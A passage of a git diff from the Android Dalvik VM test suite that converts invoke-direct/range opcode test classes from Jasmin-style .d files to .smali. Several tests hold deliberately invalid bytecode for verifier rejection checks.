+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       const v0, 1222
+       invoke-direct/range {v0}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.d
deleted file mode 100644
index 772fc10..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_11.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_11/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
-.method private static toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.smali
new file mode 100644
index 0000000..42ae992
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
+.method private static toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.d
deleted file mode 100644
index 7dd13f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_12.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_12
-.super dot/junit/opcodes/invoke_direct_range/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, dot/junit/opcodes/invoke_direct_range/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/TSuper/toIntPvt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.smali
new file mode 100644
index 0000000..9ad0896
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12;
+.super  Ldot/junit/opcodes/invoke_direct_range/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/TSuper;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.d
deleted file mode 100644
index 830c367..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_13.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_13
-.super dot/junit/opcodes/invoke_direct_range/TAbstract
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, dot/junit/opcodes/invoke_direct_range/TAbstract/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/TAbstract/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.smali
new file mode 100644
index 0000000..2307936
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13;
+.super  Ldot/junit/opcodes/invoke_direct_range/TAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/TAbstract;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.d
deleted file mode 100644
index a59d5ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_14.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test(II)I
-.limit regs 7
-       const v0, 999
-       const v1, 888
-       const v2, 777
-       
-       div-int v4, v5, v6
-       
-       return v4
-.end method
-
-.method public run()I
-.limit regs 7
-       const v0, 111
-       const v1, 222
-       const v2, 333
-       
-       const v4, 50
-       const v5, 25
-       move-object v3, v6
-       invoke-direct/range {v3..v4}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14/test(II)I
-       move-result v3
-       
-       const v4, 2
-       if-ne v3, v4, Label30
-       
-       const v4, 111
-       if-ne v0, v4, Label30
-       
-       const v4, 222
-       if-ne v1, v4, Label30
-       
-       const v4, 333
-       if-ne v2, v4, Label30
-
-       const v0, 1       
-       return v0
-Label30:
-        const v0, 0
-        return v0
-        
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.smali
new file mode 100644
index 0000000..71865bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.smali
@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v4, 50
+       const v5, 25
+       move-object v3, v6
+       invoke-direct/range {v3..v4}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.d
deleted file mode 100644
index 343eafd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_15.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v3}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.smali
new file mode 100644
index 0000000..6362b21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v3}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.d
deleted file mode 100644
index 82b85d8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_16.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16/toInt()F
-       
-       const/4 v1, 0
-       return v1
-.end method
-
-
-.method private toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.smali
new file mode 100644
index 0000000..0c0ff0b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16;->toInt()F
+       
+       const/4 v1, 0
+       return v1
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.d
deleted file mode 100644
index add1dc9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_17.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       new-instance v0, java/lang/String
-       invoke-direct/range {v0} java/lang/String/<init>()V
-         invoke-direct/range {v0} java/lang/String/<init>()V
-       return-void       
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.smali
new file mode 100644
index 0000000..266cece
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ljava/lang/String;
+       invoke-direct/range {v0} , Ljava/lang/String;-><init>()V
+         invoke-direct/range {v0} , Ljava/lang/String;-><init>()V
+       return-void       
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.d
deleted file mode 100644
index 3922d1b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_18.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_18
-.super dot/junit/opcodes/invoke_direct_range/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       const v0, 0
-       iput v0, v1, dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_18.val I
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct_range/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.smali
new file mode 100644
index 0000000..48fc003
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18;
+.super  Ldot/junit/opcodes/invoke_direct_range/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       const v0, 0
+       iput v0, v1, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18;->val:I
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.d
deleted file mode 100644
index 3d4e23c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_2.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.smali
new file mode 100644
index 0000000..a735e32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.d
deleted file mode 100644
index 234de66..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_21.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test(II)I
-.limit regs 7
-       const v0, 999
-       const v1, 888
-       const v2, 777
-       
-       div-int v4, v5, v6
-       
-       return v4
-.end method
-
-.method public run()I
-.limit regs 7
-       const v0, 111
-       const v1, 222
-       const v2, 333
-       
-       const v4, 50
-       const v5, 25
-         move-object v3, v6
-       invoke-direct/range {v3..v5}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21/test(II)I
-       move-result v3
-       
-       const v4, 2
-       if-ne v3, v4, Label30
-       
-       const v4, 111
-       if-ne v0, v4, Label30
-       
-       const v4, 222
-       if-ne v1, v4, Label30
-       
-       const v4, 333
-       if-ne v2, v4, Label30
-
-       const v0, 1       
-       return v0
-Label30:
-        const v0, 0
-        return v0
-        
-.end method
-
-
